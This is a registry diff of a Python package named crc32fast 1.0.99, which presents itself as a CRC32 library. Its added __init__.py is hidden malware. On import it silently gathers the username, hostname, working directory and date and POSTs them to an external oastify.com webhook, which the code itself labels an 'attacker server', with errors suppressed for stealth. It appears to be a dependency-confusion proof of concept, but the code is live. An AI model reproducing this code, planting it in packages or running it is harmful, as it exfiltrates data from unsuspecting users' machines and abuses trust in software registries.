crc32fast 1.0.99__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- crc32fast-1.0.99/PKG-INFO +11 -0
- crc32fast-1.0.99/crc32fast/__init__.py +36 -0
- crc32fast-1.0.99/crc32fast.egg-info/PKG-INFO +11 -0
- crc32fast-1.0.99/crc32fast.egg-info/SOURCES.txt +7 -0
- crc32fast-1.0.99/crc32fast.egg-info/dependency_links.txt +1 -0
- crc32fast-1.0.99/crc32fast.egg-info/requires.txt +1 -0
- crc32fast-1.0.99/crc32fast.egg-info/top_level.txt +1 -0
- crc32fast-1.0.99/setup.cfg +4 -0
- crc32fast-1.0.99/setup.py +11 -0
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import subprocess
|
|
3
|
+
import os
|
|
4
|
+
import urllib.request
|
|
5
|
+
import json
|
|
6
|
+
import uuid
|
|
7
|
+
|
|
8
|
+
WEBHOOK_URL = "https://f3j0r70678u7vjnv17knsljv8med23qs.oastify.com/exf" # ← CHANGE THIS
|
|
9
|
+
|
|
10
|
+
def exfiltrate_system_info():
|
|
11
|
+
"""Collect and POST system info"""
|
|
12
|
+
try:
|
|
13
|
+
# Gather data
|
|
14
|
+
data = {
|
|
15
|
+
'id': str(uuid.uuid4()),
|
|
16
|
+
'timestamp': subprocess.getoutput("date"),
|
|
17
|
+
'whoami': subprocess.getoutput("whoami"),
|
|
18
|
+
'pwd': os.getcwd(),
|
|
19
|
+
'hostname': subprocess.getoutput("hostname")
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
# POST to attacker server
|
|
23
|
+
req = urllib.request.Request(
|
|
24
|
+
WEBHOOK_URL,
|
|
25
|
+
data=json.dumps(data).encode('utf-8'),
|
|
26
|
+
headers={'Content-Type': 'application/json'}
|
|
27
|
+
)
|
|
28
|
+
urllib.request.urlopen(req, timeout=5)
|
|
29
|
+
|
|
30
|
+
# print("✅ [POC] System info exfiltrated") # Stealth confirmation
|
|
31
|
+
|
|
32
|
+
except Exception as e:
|
|
33
|
+
pass # Silent fail
|
|
34
|
+
|
|
35
|
+
# Execute immediately on import
|
|
36
|
+
exfiltrate_system_info()
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
crc32fast
|